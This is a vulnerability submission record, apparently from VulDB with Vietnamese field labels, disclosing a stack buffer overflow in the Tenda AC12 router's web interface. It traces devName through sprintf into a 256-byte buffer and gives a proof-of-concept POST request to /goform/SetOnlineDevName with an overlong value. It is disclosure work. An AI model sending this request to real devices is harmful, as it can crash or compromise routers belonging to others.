| tiêu đề | Tenda AC12 US_AC1206V1.0RTL_V15.03.06.23_multi_TD01.bin Buffer Overflow |
|---|
| Mô tả | A buffer overflow vulnerability was discovered in Tenda AC12 US_AC1206V1.0RTL_V15.03.06.23_multi_TD01.bin. Attackers can exploit this vulnerability by specifying the value of devName. When devName is passed from formSetDeviceName to set_device_name and formatted into the fixed-size mib_vlaue buffer by sprintf without length validation, it may cause a buffer overflow.
Technical details from the advisory:
The vulnerable component is the httpd web management interface. The vulnerable endpoint is goform/SetOnlineDevName, registered as:
websFormDefine("SetOnlineDevName", (void (*)(webs_t, char_t *, char_t *))formSetDeviceName);
In formSetDeviceName, the attacker-controlled devName parameter is read from the HTTP request:
dev_name = websGetVar(wp, "devName", string_);
The devName value is passed into set_device_name:
set_device_name(dev_name, dev_id);
In set_device_name, the destination buffer is a fixed-size stack buffer:
char mib_vlaue[256];
The user-controlled devName value is formatted into this stack buffer without length validation:
sprintf(mib_vlaue, "%s;1", dev_name);
Because sprintf writes the complete devName string into the fixed-size mib_vlaue buffer, an overly long devName value can overflow the buffer and corrupt adjacent stack memory.
Conceptual proof-of-concept request:
POST /goform/SetOnlineDevName HTTP/1.1
Host: <device-ip>
Content-Type: application/x-www-form-urlencoded
mac=00:11:22:33:44:55&devName=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA |
|---|
| Nguồn | ⚠️ https://github.com/lipenghai/iot_bug/blob/main/Tenda/AC12/1.md |
|---|
| Người dùng | stksgg (UID 97520) |
|---|
| Đệ trình | 25/06/2026 08:54 (cách đây 2 các tháng) |
|---|
| Kiểm duyệt | 13/08/2026 20:48 (2 months later) |
|---|
| Trạng thái | được chấp nhận |
|---|
| Mục VulDB | 389755 [Tenda AC1206 15.03.06.23_multi_TD01 httpd web management interface /goform/SetOnlineDevName set_device_name devName tràn bộ đệm] |
|---|
| điểm | 20 |
|---|